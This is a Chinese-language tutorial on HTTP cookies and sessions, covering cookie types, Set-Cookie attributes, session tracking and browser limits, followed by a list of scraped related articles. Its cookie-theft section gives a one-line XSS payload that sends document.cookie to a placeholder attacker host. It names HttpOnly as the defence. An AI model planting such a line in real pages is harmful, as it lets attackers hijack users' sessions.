cookie

history

cookie最初是由网景公司开发的,现在所有主要的浏览器都支持它.

type

cookie分为两种:会话cookie和持久cookie.
会话cookie是一种临时的cookie,它记录用户的访问站点的设置偏好.用户在退出浏览器就会被删除.
持久cookie是存储在硬盘上的,通常用持久cookie维护用户周期性访问的站点的配置文件或用户名.
会话cookie和持久cookie的区别在于有没有过期时间,没有过期时间就是会话cookie.

cookie罐

cookie的基本思想是让浏览器积累一组服务器特有的信息,每次访问这个服务器时都将信息提供给它.

浏览器负责存储cookie信息,所以这系统称为客户端侧状态(client-side state).

此cookie的正是规范名称为HTTP状态管理机制(HTTP state management mechanism).

站点使用不同的cookie

很多web站点都会与第三方厂商达成协议,由其来管理广告.用户在访问多个由相同广告公司提供服务的站点时.(由于域名是匹配)浏览器就会回送设置好的持久cookie. 营销公司可以将此技术与Referer首部结合, 暗里构建用户文档收集用户习惯.

第三方cookie

当你访问A网站时,a服务器设置B网站的cookie,当你访问B网站时,客户端就把cookie发给b服务器,b服务器就收到了cookie.做相应的处理.

cookie版本0属性

在服务器上可以在响应的首部加Set-cookie的属性控制哪些站点可以使用cookie.
Set-cookie: user="mary"; expires="Manday, 01-01-1999 01-01-01"; pref=password; path=/secure/; secure domain="xxx.com"
NAME=VALUE:强制,键值
expires: 过期时间(Weekday, DD-MM-YY HH:MM:SS GMT)
path: 路径
secure: 在https时发送

cookie版本1新增属性

Version: 强制,使用cookie的版本
Comment: 告诉客户端如何使用
CommentURL: 指向详细描述这cookie目的和策略的文档
Discard:客户端在程序终止时,放弃这个cookie
Max-Age:以秒单位,设置cookie的过期时间
port:端口号

会话跟踪

在用户访问站点进行多项事务可用cookie进行对用户的跟踪.在用户访问站点时,就会启动事务链,在web服务器会使用重定向,URL重写以及cookie设置.

a-客户端打开xxx.com网页
b-服务器将客户端重定向到其他URL上(Location: http://www.xxx.com/redirect.html)
c-客户端向重定向的URL发请求
d-服务端响应上送出两个会话cookie,将用户重定向到另一个URL(Location: http://www.xxx.com/redirect.html/cookie[key])
e-客户端向重定向的URL发请求,并把cookie附加在请求
f-服务器收到请求,在送两个cookie,在重定向(Location: http://www.xxx.com/end.html)
g-客户端向重定向的URL发请求,并附上所有的cookie
h-服务器回送内容
(来自于amazon.com栗子)

cache

可以在请求头注明cookie不可缓存

Cache-Control: no-cache='Set-Cookie'

Max Length

IE6及更低版本限制每个域名最多20个cookie
IE7和之后版本每个域名最多50个。IE7最初是支持每个域名最大20个cookie,之后被微软的一个补丁所更新
Firefox限制每个域最多50个cookie
Opera限制每个域最多30个cookie
Safari和Chrome对于每个域的cookie数量限制没有硬性规定

cookie窃取

攻击者 => a 被攻击者 => b
a服务器的文件 => http://xxx.com/xxx.php
a只要在b的服务器上加一行代码,就能获取用户在b网站的cookie

location.href='http://xxx.com/xxx.php?cookie=' + document.cookie

short

缺点是不太安全,敏感信息最好别用cookie存储

session

session是一个抽象概念,服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这机制就是session机制.服务端session的数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件(服务器) .

实现

第一次创建Session的时候,服务端会在HTTP协议中告诉客户端,需要在 Cookie 里面记录一个Session ID,以后每次请求把这个会话ID发送到服务器.
每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端.

XSS劫持

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持

set-cookie设置一个HttpOnly搞掂了

cookie和session那些事相关推荐

  1. 我们边吃曲奇边聊——Cookie与Session那些事

    Cookie与Session分别是什么? HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发 ...

  2. Django框架详细介绍---cookie、session、自定义分页

    1.cookie 在HTTP协议介绍中提到,该协议是无状态的,也就是每次请求都是独立的,它的执行情况和结果与前面的请求和之后的请求都无直接关系,它不会受前面的请求响应情况直接影响,也不会直接影响后面的 ...

  3. Cookie、Session、Token那点事儿

    前言:新公司项目中使用到了Cookie,在各大Android技术讨论群向前辈们取经讨论这cookie.session.token这仨哥们的时候,很多开发者说法不一各抒已见,所以是时候回顾下http基础 ...

  4. IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token

    1.前言 众所周之,IM是个典型的快速数据流交换系统,当今主流IM系统(尤其移动端IM)的数据流交换方式都是Http短连接+TCP或UDP长连接来实现.Http短连接主要用于从服务器读取各种持久化信息 ...

  5. Web框架之Django_08 重要组件(form组件、cookie和session组件)

    阅读目录 一.form组件 二.cookie与session Django中操作Cookie 摘要: form组件 cookie组件 session组件 一.form组件 form介绍 我们之前在ht ...

  6. Django 的cookie 与 session组件

    Cookie概述 什么叫Cookie Cookie翻译成中文是小甜点,小饼干的意思.在HTTP中它表示服务器送给客户端浏览器的小甜点.其实Cookie是key-value结构,类似于一个python中 ...

  7. 鉴权必须了解的5个知识点:cookie,session,token,jwt,单点登录

    从状态说起 [HTTP 无状态] 我们知道,HTTP是无状态的,也就是说,HTTP请求方和响应方间无法维护状态,都是一次性的,它不知道前后的请求都发生了什么 但有的场景下,我们需要维护状态,最常见的, ...

  8. cookie和session、web服务工作原理、Apache配置php扩展、php简介

    cookie和session: cookie和session区别:cookie数据是存在本地的,而session数据是存在服务端的,session比cookie更安全. cookie:用于http做会 ...

  9. 7,复习,多对多表的三种创建,form组件,cookie,session

    昨日内容回顾  choices字段   只要是能够罗列出来的有限个选项的都可以使用choices字段来做    1.学历,工作经历,性别,工作状态,客户来源,婚嫁    gender_choices ...

最新文章

  1. mysql通过中间表实现数据的“部分复制”
  2. POJ 2186 Popular Cows
  3. 开发短信发送程序的几则技巧
  4. 生成 oracle 连接串,Generator连接Oracle数据库生成Model报错
  5. Linux 命令(20)—— cat 命令
  6. Java数据结构与算法——哈希表
  7. Vue3.0 + pdf.js 实现pdf预览
  8. 一键分享java英文_bShare RESTful分享API
  9. NavMeshAgent参数及API
  10. excel两个表格数据对比_excel如何1秒钟合并两个不同表格数据?收下这个方法吧...
  11. element-ui图标显示不出来问题
  12. 给body设置背景图片,整个图片完整的充满屏幕
  13. 粥佐罗时间管理课学习笔记
  14. 虚拟机怎么装服务器系统教程视频,云服务器装虚拟机教程视频
  15. Windows 此电脑->设备与驱动器->图标管理
  16. excel制作跨职能流程图_如何绘制泳道图(跨职能流程图)
  17. “从零到一“基于Freeswitch二次开发:Freeswitch入门与网络架构 (一)
  18. 如何让一个内向的人锻炼与人交流能力?
  19. 谷歌研究员走火入魔事件曝光:认为AI已具备人格,被罚带薪休假,聊天记录让网友San值狂掉...
  20. 卢沟桥对于古代北京的作用

热门文章

  1. Windows服务调用Quartz.net 实现消息调度
  2. Visual Studio Code(VSCODE)自定义语言和颜色主题
  3. STM32 ITM(指令跟踪宏单元)
  4. 数据库中外键的作用以及和主键的区别
  5. 服务器 apk文件,Apk文件介绍(一)
  6. 视觉惯性里程计 VIO
  7. web自动化:8.3 selenium中如何实现浏览器的窗口滚动
  8. 2015广东强网杯web专题
  9. 少壮不努力,长大干IT。
  10. 2022个人邮箱注册哪个好?163企业邮箱怎么申请注册个人电子邮箱